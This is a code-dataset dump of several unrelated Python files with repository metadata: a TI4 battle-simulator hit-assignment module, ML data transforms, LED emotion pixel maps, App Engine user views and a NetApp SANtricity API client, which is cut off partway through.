dataset_dict[name]["has_edge_attr"] = False dataset_dict[name]["split"] = "time" dataset_dict[name]["additional node files"] = 'node_year' dataset_dict[name]['additional edge files'] = 'None' dataset_dict[name]['is hetero'] = False df = pd.DataFrame(dataset_dict) # saving the dataframe df.to_csv("master.csv")

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c487fa3b1598de60dbf07c0af4f1a9d2b9b39be8

41

py

Python

installer/whimbrel/install/util/__init__.py

groboclown/whimbrel

1968cccf4888ef893686a812ed729205a31d2a12

[ "Apache-2.0" ]

null

installer/whimbrel/install/util/__init__.py

groboclown/whimbrel

1968cccf4888ef893686a812ed729205a31d2a12

[ "Apache-2.0" ]

null

installer/whimbrel/install/util/__init__.py

groboclown/whimbrel

1968cccf4888ef893686a812ed729205a31d2a12

[ "Apache-2.0" ]

null

from . import out from . import copy

10.25

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673402bc79b48f0a831cef4d914b3b7e9e8743b0

4,093

py

Python

app/calculator/assign.py

EBaalhuis/TI4_battle_sim

c139ca71d98f320f780cbfc6297d5d1d1ad08a0b

[ "MIT" ]

3

2021-05-12T20:32:06.000Z

2022-02-25T21:29:23.000Z

app/calculator/assign.py

EBaalhuis/TI4_battle_sim

c139ca71d98f320f780cbfc6297d5d1d1ad08a0b

[ "MIT" ]

109

2021-01-10T11:09:11.000Z

2021-03-25T20:33:13.000Z

app/calculator/assign.py

EBaalhuis/TI4_battle_sim

c139ca71d98f320f780cbfc6297d5d1d1ad08a0b

[ "MIT" ]

1

2021-03-25T00:49:12.000Z

import app.calculator.faction_abilities as faction_abilities def assign_hits(units, hits, risk_direct_hit, faction, options, attacker): if hits <= 0: return units, options # Shields Holding if options["att_shields_active"] and attacker: options["att_shields_active"] = False hits -= 2 if options["def_shields_active"] and not attacker: options["def_shields_active"] = False hits -= 2 # Letnev flagship (sustain) if faction == "Letnev": units, hits = faction_abilities.letnev_flagship_sustain(units, hits, risk_direct_hit) for u in units: if hits <= 0: return units, options hits -= u.use_sustain(risk_direct_hit) while hits > 0 and units: if units[0].sustain: hits -= u.use_sustain(risk_direct_hit=True) # Once one ship sustains and is not Direct Hit, assume its safe return assign_hits(units, hits, True, faction, options, attacker) else: # Check if only PDS are left if units[0].name == "pds" and not units[0].ground: # second part rules out Titans PDS return units, options # Yin agent if (options["att_yin_agent_active"] and attacker) or (options["def_yin_agent_active"] and not attacker) \ and units[0].name in ["destroyer", "cruiser"]: units, options = faction_abilities.yin_agent(units, units[0], faction, options, attacker) else: del units[0] hits -= 1 return units, options def assign_fighters_only(units, hits, options, attacker): if hits <= 0: return units, options # Shields Holding if options["att_shields_active"] and attacker: options["att_shields_active"] = False hits -= 2 if options["def_shields_active"] and not attacker: options["def_shields_active"] = False hits -= 2 result = [u for u in units] for u in units: if hits <= 0: return result, options if u.fighter or u.name == "virtual": result.remove(u) hits -= 1 return result, options def assign_nonfighters_first(units, hits, risk_direct_hit, faction, options, attacker): if hits <= 0: return units, options # Shields Holding if options["att_shields_active"] and attacker: options["att_shields_active"] = False hits -= 2 if options["def_shields_active"] and not attacker: options["def_shields_active"] = False hits -= 2 # Letnev flagship (sustain) if faction == "Letnev": units, hits = faction_abilities.letnev_flagship_sustain(units, hits, risk_direct_hit) for u in units: if hits <= 0: return units, options hits -= u.use_sustain(risk_direct_hit) fighters = list(filter(lambda x: x.name == "fighter", units)) non_fighters = list(filter(lambda x: x.name != "fighter", units)) for u in non_fighters: if hits <= 0: return units, options if u.name == "pds" and not u.ground: # second part rules out Titans PDS break if u.sustain: hits -= u.use_sustain(risk_direct_hit=True) # Once one ship sustains and is not Direct Hit, assume its safe return assign_nonfighters_first(units, hits, True, faction, options, attacker) else: # Yin agent if (options["att_yin_agent_active"] and attacker) or (options["def_yin_agent_active"] and not attacker) \ and units[0].name in ["destroyer", "cruiser"]: units, options = faction_abilities.yin_agent(units, u, faction, options, attacker) else: units.remove(u) hits -= 1 for u in fighters: if hits <= 0: return units, options if u.name == "pds" and not u.ground: # second part rules out Titans PDS return units, options units.remove(u) hits -= 1 return units, options

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0

0.218391

0

null

0

1

0

1

0

null

0

7

67ad0b685e1569fd4450b8b9b3b6af12b4d3d79b

182

py

Python

order_routing/base_trader.py

qplum/trade-analysis

c2a641ea0f49da4b29098b33a3b7cbeedfc2b866

[ "MIT" ]

32

2016-07-01T13:16:39.000Z

2021-08-17T16:18:59.000Z

order_routing/base_trader.py

VCGJake/trade-analysis

c2a641ea0f49da4b29098b33a3b7cbeedfc2b866

[ "MIT" ]

2

2016-06-30T14:37:21.000Z

2017-09-13T16:19:23.000Z

order_routing/base_trader.py

VCGJake/trade-analysis

c2a641ea0f49da4b29098b33a3b7cbeedfc2b866

[ "MIT" ]

18

2016-06-30T14:14:44.000Z

2018-10-13T05:13:17.000Z

class BaseTrader( object ): def __init__( self, uid ): self.uid = uid def send_order( self, order ): pass def cancel_order( self, order ): pass

18.2

36

0.565934

22

182

4.409091

0.5

0.14433

0.28866

0.371134

0

0.340659

182

9

37

20.222222

0.808333

0

0.285714

0

1

0.428571

false

0.285714

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0.571429

0

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null

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null

0

1

0

1

0

1

0

7

db0ae63a5c6024f656a02f59efedfe6e4afa7536

1,323

py

Python

Keras_tensorflow_nightly/source2.7/tensorflow/tools/api/generator/api/feature_column/__init__.py

Con-Mi/lambda-packs

b23a8464abdd88050b83310e1d0e99c54dac28ab

[ "MIT" ]

3

2019-04-01T11:03:04.000Z

2019-12-31T02:17:15.000Z

Keras_tensorflow_nightly/source2.7/tensorflow/tools/api/generator/api/feature_column/__init__.py

Con-Mi/lambda-packs

b23a8464abdd88050b83310e1d0e99c54dac28ab

[ "MIT" ]

1

2021-04-15T18:46:45.000Z

Keras_tensorflow_nightly/source2.7/tensorflow/tools/api/generator/api/feature_column/__init__.py

Con-Mi/lambda-packs

b23a8464abdd88050b83310e1d0e99c54dac28ab

[ "MIT" ]

1

2021-09-23T13:43:07.000Z

"""Imports for Python API. This file is MACHINE GENERATED! Do not edit. Generated by: tensorflow/tools/api/generator/create_python_api.py script. """ from tensorflow.python.feature_column.feature_column import bucketized_column from tensorflow.python.feature_column.feature_column import categorical_column_with_hash_bucket from tensorflow.python.feature_column.feature_column import categorical_column_with_identity from tensorflow.python.feature_column.feature_column import categorical_column_with_vocabulary_file from tensorflow.python.feature_column.feature_column import categorical_column_with_vocabulary_list from tensorflow.python.feature_column.feature_column import crossed_column from tensorflow.python.feature_column.feature_column import embedding_column from tensorflow.python.feature_column.feature_column import indicator_column from tensorflow.python.feature_column.feature_column import input_layer from tensorflow.python.feature_column.feature_column import linear_model from tensorflow.python.feature_column.feature_column import make_parse_example_spec from tensorflow.python.feature_column.feature_column import numeric_column from tensorflow.python.feature_column.feature_column import shared_embedding_columns from tensorflow.python.feature_column.feature_column import weighted_categorical_column

69.631579

99

0.900983

178

1,323

6.365169

0.258427

0.321271

0.247132

0.333628

0.760812

0.485437

0.275375

0

0.055178

1,323

19

100

69.631579

0.9064

0.108088

0

1

0

1

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true

0

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null

1

0

1

0

1

0

null

0

1

0

1

0

1

0

10

db14806c805561d0b7c539954aa0f7ff0ee432a6

950

py

Python

app/views/users.py

matrufsc2/matrufsc2

d8a32c532281cc2a09a26444bd5b8497bc578b18

[ "RSA-MD" ]

4

2017-07-07T19:04:07.000Z

2018-07-04T18:03:49.000Z

app/views/users.py

matrufsc2/matrufsc2

d8a32c532281cc2a09a26444bd5b8497bc578b18

[ "RSA-MD" ]

6

2015-02-27T03:21:02.000Z

2019-07-30T19:58:35.000Z

app/views/users.py

matrufsc2/matrufsc2

d8a32c532281cc2a09a26444bd5b8497bc578b18

[ "RSA-MD" ]

null

from google.appengine.api import users from app.views.api import serialize __author__ = 'fernando' def get_current_user(): is_authenticated = users.get_current_user() is not None login_url = None logout_url = None if is_authenticated: logout_url = users.create_logout_url("/") else: login_url = users.create_login_url("/") return serialize({ "id": "current", "is_authenticated": is_authenticated, "login_url": login_url, "logout_url": logout_url }) def get_users(): is_authenticated = users.get_current_user() is not None login_url = None logout_url = None if is_authenticated: logout_url = users.create_logout_url("/") else: login_url = users.create_login_url("/") return serialize([{ "id": "current", "is_authenticated": is_authenticated, "login_url": login_url, "logout_url": logout_url }])

26.388889

59

0.646316

115

950

4.965217

0.234783

0.140105

0.098074

0.084063

0.816112

0

0.247368

950

35

60

27.142857

0.798601

0

0.709677

0

0.105263

0

1

0.064516

false

0

0.064516

0

0.193548

0

null

0

1

0

1

0

null

0

7

db1f934b9ff999847ae575ddaead2519a110a688

1,167

py

Python

SDNet/data/transform.py

neolgu/Split-Detection-Network

7c8f75a10f56ff7b8e82d82af130780db402501b

[ "MIT" ]

3

2021-05-26T07:55:27.000Z

2021-09-27T10:01:12.000Z

SDNet/data/transform.py

neolgu/Split-Detection-Network

7c8f75a10f56ff7b8e82d82af130780db402501b

[ "MIT" ]

1

2021-06-13T08:24:19.000Z

SDNet/data/transform.py

neolgu/Split-Detection-Network

7c8f75a10f56ff7b8e82d82af130780db402501b

[ "MIT" ]

null

from torchvision import transforms xception_data_transforms = { 'train': transforms.Compose([ transforms.Resize((299, 299)), transforms.ToTensor(), transforms.Normalize([0.5]*3, [0.5]*3) ]), 'val': transforms.Compose([ transforms.Resize((299, 299)), transforms.ToTensor(), transforms.Normalize([0.5] * 3, [0.5] * 3) ]), 'test': transforms.Compose([ transforms.Resize((299, 299)), transforms.ToTensor(), transforms.Normalize([0.5] * 3, [0.5] * 3) ]), } resnet18_data_transforms = { 'train': transforms.Compose([ transforms.Resize((224, 224)), transforms.ToTensor(), transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]), ]), 'val': transforms.Compose([ transforms.Resize((224, 224)), transforms.ToTensor(), transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]), ]), 'test': transforms.Compose([ transforms.Resize((224, 224)), transforms.ToTensor(), transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]), ]), }

32.416667

84

0.574122

136

1,167

4.897059

0.191176

0.153153

0.243243

0.297297

0.929429

0.908408

0.851351

0

0.143017

0.233076

1,167

36

85

32.416667

0.601117

0

0.857143

0

0.020548

0

1

0

false

0

0.028571

0

0.028571

0

null

0

1

0

1

0

null

0

9

c059a26d34d18e3b857e90ae29a3a2f1ddc7ec81

9,027

py

Python

alien/lib/emotions_library.py

oowais/MCP-Alien-Arduino-Code

8613843ee3d602fa62c2d13e411cd423ce5b7bf7

[ "MIT" ]

null

alien/lib/emotions_library.py

oowais/MCP-Alien-Arduino-Code

8613843ee3d602fa62c2d13e411cd423ce5b7bf7

[ "MIT" ]

36

2018-12-20T00:55:49.000Z

2019-01-28T22:39:08.000Z

alien/lib/emotions_library.py

oowais/MCP-Alien-Arduino-Code

8613843ee3d602fa62c2d13e411cd423ce5b7bf7

[ "MIT" ]

null

BOOT = [(0, 0), (0, 1), (0, 2), (0, 3), (0, 4), (0, 5), (0, 6), (0, 7), (1, 0), (1, 1), (1, 2), (1, 3), (1, 4), (1, 5), (1, 6), (1, 7), (2, 0), (2, 1), (2, 2), (2, 3), (2, 4), (2, 5), (2, 6), (2, 7), (3, 0), (3, 1), (3, 2), (3, 3), (3, 4), (3, 5), (3, 6), (3, 7), (4, 0), (4, 1), (4, 2), (4, 3), (4, 4), (4, 5), (4, 6), (4, 7), (5, 0), (5, 1), (5, 2), (5, 3), (5, 4), (5, 5), (5, 6), (5, 7), (6, 0), (6, 1), (6, 2), (6, 3), (6, 4), (6, 5), (6, 6), (6, 7), (7, 0), (7, 1), (7, 2), (7, 3), (7, 4), (7, 5), (7, 6), (7, 7)] LEFT_BOOT_1 = [(0, 3), (0, 4), (0, 5), (0, 6)] LEFT_BOOT_2 = [(1, 2), (1, 7)] LEFT_BOOT_3 = [(2, 1), (2, 4), (2, 5), (2, 7)] LEFT_BOOT_4 = [(3, 0), (3, 4), (3, 5), (3, 7)] LEFT_BOOT_5 = [(4, 0), (4, 7)] LEFT_BOOT_6 = [(5, 0), (5, 7)] LEFT_BOOT_7 = [(6, 0), (6, 7)] LEFT_BOOT_8 = [(7, 1), (7, 2), (7, 3), (7, 4), (7, 5), (7, 6)] RIGHT_BOOT_1 = [(0, 1), (0, 2), (0, 3), (0, 4)] RIGHT_BOOT_2 = [(1, 0), (1, 5)] RIGHT_BOOT_3 = [(2, 0), (2, 3), (2, 4), (2, 6)] RIGHT_BOOT_4 = [(3, 0), (3, 3), (3, 4), (3, 7)] RIGHT_BOOT_5 = [(4, 0), (4, 7)] RIGHT_BOOT_6 = [(5, 0), (5, 7)] RIGHT_BOOT_7 = [(6, 0), (6, 7)] RIGHT_BOOT_8 = [(7, 1), (7, 2), (7, 3), (7, 4), (7, 5), (7, 6)] LEFT_NORMAL = [(0, 3), (0, 4), (0, 5), (0, 6), (1, 2), (1, 7), (2, 1), (2, 4), (2, 5), (2, 7), (3, 0), (3, 4), (3, 5), (3, 7), (4, 0), (4, 7), (5, 0), (5, 7), (6, 0), (6, 7), (7, 1), (7, 2), (7, 3), (7, 4), (7, 5), (7, 6)] RIGHT_NORMAL = [(0, 1), (0, 2), (0, 3), (0, 4), (1, 0), (1, 5), (2, 0), (2, 3), (2, 4), (2, 6), (3, 0), (3, 3), (3, 4), (3, 7), (4, 0), (4, 7), (5, 0), (5, 7), (6, 0), (6, 7), (7, 1), (7, 2), (7, 3), (7, 4), (7, 5), (7, 6)] LEFT_NORMAL_2 = [(0, 3), (0, 4), (0, 5), (0, 6), (1, 2), (1, 7), (2, 1), (2, 3), (2, 4), (2, 7), (3, 0), (3, 3), (3, 4), (3, 7), (4, 0), (4, 7), (5, 0), (5, 7), (6, 0), (6, 7), (7, 1), (7, 2), (7, 3), (7, 4), (7, 5), (7, 6)] RIGHT_NORMAL_2 = [(0, 1), (0, 2), (0, 3), (0, 4), (1, 0), (1, 5), (2, 0), (2, 2), (2, 3), (2, 6), (3, 0), (3, 2), (3, 3), (3, 7), (4, 0), (4, 7), (5, 0), (5, 7), (6, 0), (6, 7), (7, 1), (7, 2), (7, 3), (7, 4), (7, 5), (7, 6)] LEFT_HAPPY = [(0, 3), (0, 4), (0, 5), (0, 6), (1, 2), (1, 7), (2, 1), (2, 7), (3, 0), (3, 7), (4, 0), (4, 3), (4, 4), (4, 7), (5, 0), (5, 2), (5, 5), (5, 7), (6, 0), (6, 7), (7, 1), (7, 2), (7, 3), (7, 4), (7, 5), (7, 6)] RIGHT_HAPPY = [(0, 1), (0, 2), (0, 3), (0, 4), (1, 0), (1, 5), (2, 0), (2, 6), (3, 0), (3, 7), (4, 0), (4, 3), (4, 4), (4, 7), (5, 0), (5, 2), (5, 5), (5, 7), (6, 0), (6, 7), (7, 1), (7, 2), (7, 3), (7, 4), (7, 5), (7, 6)] LEFT_HAPPY_2 = [(0, 3), (0, 4), (0, 5), (0, 6), (1, 2), (1, 7), (2, 1), (2, 7), (3, 0), (3, 3), (3, 4), (3, 7), (4, 0), (4, 2), (4, 5), (4, 7), (5, 0), (5, 7), (6, 0), (6, 7), (7, 1), (7, 2), (7, 3), (7, 4), (7, 5), (7, 6)] RIGHT_HAPPY_2 = [(0, 1), (0, 2), (0, 3), (0, 4), (1, 0), (1, 5), (2, 0), (2, 6), (3, 0), (3, 3), (3, 4), (3, 7), (4, 0), (4, 2), (4, 5), (4, 7), (5, 0), (5, 7), (6, 0), (6, 7), (7, 1), (7, 2), (7, 3), (7, 4), (7, 5), (7, 6)] LEFT_ANGRY = [(0, 2), (1, 1), (1, 2), (1, 3), (2, 1), (2, 2), (2, 3), (2, 4), (3, 1), (3, 2), (3, 3), (3, 4), (3, 5), (4, 1), (4, 2), (4, 3), (4, 4), (4, 5), (4, 6), (5, 2), (5, 3), (5, 4), (5, 5), (5, 6), (5, 7), (6, 3), (6, 4), (6, 5), (6, 6)] RIGHT_ANGRY = [(0, 5), (1, 4), (1, 5), (1, 6), (2, 3), (2, 4), (2, 5), (2, 6), (3, 2), (3, 3), (3, 4), (3, 5), (3, 6), (4, 1), (4, 2), (4, 3), (4, 4), (4, 5), (4, 6), (5, 0), (5, 1), (5, 2), (5, 3), (5, 4), (5, 5), (6, 1), (6, 2), (6, 3), (6, 4)] LEFT_ANGRY_2 = [(0, 2), (1, 1), (1, 3), (2, 1), (2, 4), (3, 1), (3, 3), (3, 5), (4, 1), (4, 3), (4, 4), (4, 6), (5, 2), (5, 7), (6, 3), (6, 4), (6, 5), (6, 6)] RIGHT_ANGRY_2 = [(0, 5), (1, 4), (1, 6), (2, 3), (2, 6), (3, 2), (3, 4), (3, 6), (4, 1), (4, 3), (4, 4), (4, 6), (5, 0), (5, 5), (6, 1), (6, 2), (6, 3), (6, 4)] LEFT_SLEEPY = [(1, 1), (1, 2), (1, 3), (1, 4), (1, 5), (1, 6), (2, 2), (3, 3), (4, 4), (5, 5), (6, 1), (6, 2), (6, 3), (6, 4), (6, 5), (6, 6)] RIGHT_SLEEPY = [(1, 1), (1, 2), (1, 3), (1, 4), (1, 5), (1, 6), (2, 2), (3, 3), (4, 4), (5, 5), (6, 1), (6, 2), (6, 3), (6, 4), (6, 5), (6, 6)] LEFT_SAD = [(0, 3), (0, 4), (0, 5), (0, 6), (1, 2), (1, 7), (2, 1), (2, 7), (3, 0), (3, 2), (3, 3), (3, 4), (3, 5), (3, 7), (4, 0), (4, 3), (4, 4), (4, 7), (5, 0), (5, 3), (5, 4), (5, 7), (6, 0), (6, 3), (6, 4), (6, 7), (7, 1), (7, 2), (7, 3), (7, 4), (7, 5), (7, 6)] RIGHT_SAD = [(0, 1), (0, 2), (0, 3), (0, 4), (1, 0), (1, 5), (2, 0), (2, 6), (3, 0), (3, 2), (3, 3), (3, 4), (3, 5), (3, 7), (4, 0), (4, 3), (4, 4), (4, 7), (5, 0), (5, 3), (5, 4), (5, 7), (6, 0), (6, 3), (6, 4), (6, 7), (7, 1), (7, 2), (7, 3), (7, 4), (7, 5), (7, 6)] LEFT_SURPRISED = [(0, 3), (0, 4), (0, 5), (0, 6), (1, 2), (1, 7), (2, 1), (2, 3), (2, 4), (2, 7), (3, 0), (3, 2), (3, 5), (3, 7), (4, 0), (4, 2), (4, 5), (4, 7), (5, 0), (5, 3), (5, 4), (5, 7), (6, 0), (6, 7), (7, 1), (7, 2), (7, 3), (7, 4), (7, 5), (7, 6)] RIGHT_SURPRISED = [(0, 1), (0, 2), (0, 3), (0, 4), (1, 0), (1, 5), (2, 0), (2, 3), (2, 4), (2, 6), (3, 0), (3, 2), (3, 5), (3, 7), (4, 0), (4, 2), (4, 5), (4, 7), (5, 0), (5, 3), (5, 4), (5, 7), (6, 0), (6, 7), (7, 1), (7, 2), (7, 3), (7, 4), (7, 5), (7, 6)] LEFT_SURPRISED_2 = [(0, 3), (0, 4), (0, 5), (0, 6), (1, 2), (1, 7), (2, 1), (2, 7), (3, 0), (3, 3), (3, 4), (3, 7), (4, 0), (4, 3), (4, 4), (4, 7), (5, 0), (5, 7), (6, 0), (6, 7), (7, 1), (7, 2), (7, 3), (7, 4), (7, 5), (7, 6)] RIGHT_SURPRISED_2 = [(0, 1), (0, 2), (0, 3), (0, 4), (1, 0), (1, 5), (2, 0), (2, 6), (3, 0), (3, 3), (3, 4), (3, 7), (4, 0), (4, 3), (4, 4), (4, 7), (5, 0), (5, 7), (6, 0), (6, 7), (7, 1), (7, 2), (7, 3), (7, 4), (7, 5), (7, 6)] LEFT_LOW_POWER = [(0, 3), (0, 4), (1, 2), (1, 3), (1, 4), (1, 5), (2, 2), (2, 5), (3, 2), (3, 5), (4, 2), (4, 5), (5, 2), (5, 5), (6, 2), (6, 3), (6, 4), (6, 5)] RIGHT_LOW_POWER = [(0, 3), (0, 4), (1, 2), (1, 3), (1, 4), (1, 5), (2, 2), (2, 5), (3, 2), (3, 5), (4, 2), (4, 5), (5, 2), (5, 3), (5, 4), (5, 5), (6, 2), (6, 3), (6, 4), (6, 5)] LEFT_LOW_POWER_2 = [(0, 3), (0, 4), (1, 2), (1, 3), (1, 4), (1, 5), (2, 2), (2, 5), (3, 2), (3, 5), (4, 2), (4, 5), (5, 2), (5, 3), (5, 4), (5, 5), (6, 2), (6, 3), (6, 4), (6, 5)] RIGHT_LOW_POWER_2 = [(0, 3), (0, 4), (1, 2), (1, 3), (1, 4), (1, 5), (2, 2), (2, 5), (3, 2), (3, 5), (4, 2), (4, 5), (5, 2), (5, 5), (6, 2), (6, 3), (6, 4), (6, 5)] SCAN_LINE_HORIZ_I = lambda i : [(i, j) for j in range(8)]

38.742489

71

0.214468

1,528

9,027

1.219241

0.018979

0.040794

0.05475

0.045089

0.899624

0.866881

0.834675

0.831455

0.785293

0.761675

0

0.295967

0.464385

9,027

232

72

38.909483

0.089349

0

0.663415

0

1

0

false

0

1

null

0

1

0

1

0

1

0

null

0

9

220c3ea9cbe8d711f1326ec778d1edb2301d8ebd

61,719

py

Python

netapp/santricity/api/symbol/e_api.py

NetApp/santricity-webapi-pythonsdk

1d3df4a00561192f4cdcdd1890f4d27547ed2de2

[ "BSD-3-Clause-Clear" ]

5

2016-08-23T17:52:22.000Z

2019-05-16T08:45:30.000Z

netapp/santricity/api/symbol/e_api.py

NetApp/santricity-webapi-pythonsdk

1d3df4a00561192f4cdcdd1890f4d27547ed2de2

[ "BSD-3-Clause-Clear" ]

2

2016-11-10T05:30:21.000Z

2019-04-05T15:03:37.000Z

netapp/santricity/api/symbol/e_api.py

NetApp/santricity-webapi-pythonsdk

1d3df4a00561192f4cdcdd1890f4d27547ed2de2

[ "BSD-3-Clause-Clear" ]

7

2016-08-25T16:11:44.000Z

2021-02-22T05:31:25.000Z

#!/usr/bin/env python # coding: utf-8 """ EApi.py The Clear BSD License Copyright (c) – 2016, NetApp, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted (subject to the limitations in the disclaimer below) provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of NetApp, Inc. nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. NO EXPRESS OR IMPLIED LICENSES TO ANY PARTY'S PATENT RIGHTS ARE GRANTED BY THIS LICENSE. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """ from __future__ import absolute_import import sys import os # python 2 and python 3 compatibility library from six import iteritems from ....santricity.configuration import Configuration from ....santricity.api_client import ApiClient class EApi(object): def __init__(self, api_client=None): config = Configuration() if api_client: self.api_client = api_client else: if not config.api_client: config.api_client = ApiClient(context_path='/devmgr/v2') self.api_client = config.api_client def symbol_enable_asup(self, system_id, **kwargs): """ This procedure is used to enable Autosupport. Documented return codes: ok, notImplemented. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.symbol_enable_asup(system_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str system_id: The unique identifier of the storage-system. This may be the id or the WWN. (required) :param str controller: Controller selection :param bool verbose_error_response: :return: str If the method is called asynchronously, returns the request thread. :raises: ValueError If the required params are not provided or if the response data format is unknown. TypeError: When the data type of response data is different from what we are expecting ApiException: Occurs when we get a HTTP error code (422 and above). """ all_params = ['system_id', 'controller', 'verbose_error_response'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method symbol_enable_asup" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'system_id' is set if ('system_id' not in params) or (params['system_id'] is None): raise ValueError("Missing the required parameter `system_id` when calling `symbol_enable_asup`") resource_path = '/storage-systems/{system-id}/symbol/enableASUP'.replace('{format}', 'json') path_params = {} if 'system_id' in params: path_params['system-id'] = params['system_id'] query_params = {} if 'controller' in params: query_params['controller'] = params['controller'] if 'verbose_error_response' in params: query_params['verboseErrorResponse'] = params['verbose_error_response'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['basicAuth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='str', auth_settings=auth_settings, callback=params.get('callback')) return response def symbol_enable_external_kms(self, system_id, body, **kwargs): """ Enables external KMS. Documented return codes: ok, externalKmsEnabled, externalKmsFailed, externalKmsNotCompliant, externalKmsTimeout. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.symbol_enable_external_kms(system_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str system_id: The unique identifier of the storage-system. This may be the id or the WWN. (required) :param str body: (required) :param str controller: Controller selection :param bool verbose_error_response: :return: WrappedLockKeyReturn If the method is called asynchronously, returns the request thread. :raises: ValueError If the required params are not provided or if the response data format is unknown. TypeError: When the data type of response data is different from what we are expecting ApiException: Occurs when we get a HTTP error code (422 and above). """ all_params = ['system_id', 'body', 'controller', 'verbose_error_response'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method symbol_enable_external_kms" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'system_id' is set if ('system_id' not in params) or (params['system_id'] is None): raise ValueError("Missing the required parameter `system_id` when calling `symbol_enable_external_kms`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `symbol_enable_external_kms`") resource_path = '/storage-systems/{system-id}/symbol/enableExternalKMS'.replace('{format}', 'json') path_params = {} if 'system_id' in params: path_params['system-id'] = params['system_id'] query_params = {} if 'controller' in params: query_params['controller'] = params['controller'] if 'verbose_error_response' in params: query_params['verboseErrorResponse'] = params['verbose_error_response'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['basicAuth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='WrappedLockKeyReturn', auth_settings=auth_settings, callback=params.get('callback')) return response def symbol_enable_feature(self, system_id, body, **kwargs): """ This procedure causes the \"premium\" features identified in the feature keys of the argument to be enabled. Documented return codes: ok, error, invalidSafeId, invalidSafeKey, invalidSafeCapability, invalidSafeVersion, perfTierSafeUpgradeDisabled, safeControllerNotSubjectToRaid6, premiumFeatureLimitExceedsMaximum, previouslyEnabledForEval, featureNotKeyable. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.symbol_enable_feature(system_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str system_id: The unique identifier of the storage-system. This may be the id or the WWN. (required) :param FeatureKey body: A key for the \"premium\" feature to be enabled. This key must be obtained from an authorized source in order to be accepted by the array controller. (required) :param str controller: Controller selection :param bool verbose_error_response: :return: str If the method is called asynchronously, returns the request thread. :raises: ValueError If the required params are not provided or if the response data format is unknown. TypeError: When the data type of response data is different from what we are expecting ApiException: Occurs when we get a HTTP error code (422 and above). """ all_params = ['system_id', 'body', 'controller', 'verbose_error_response'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method symbol_enable_feature" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'system_id' is set if ('system_id' not in params) or (params['system_id'] is None): raise ValueError("Missing the required parameter `system_id` when calling `symbol_enable_feature`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `symbol_enable_feature`") resource_path = '/storage-systems/{system-id}/symbol/enableFeature'.replace('{format}', 'json') path_params = {} if 'system_id' in params: path_params['system-id'] = params['system_id'] query_params = {} if 'controller' in params: query_params['controller'] = params['controller'] if 'verbose_error_response' in params: query_params['verboseErrorResponse'] = params['verbose_error_response'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['basicAuth'] response = self.api_client.call_api(resource_path, 'POST', 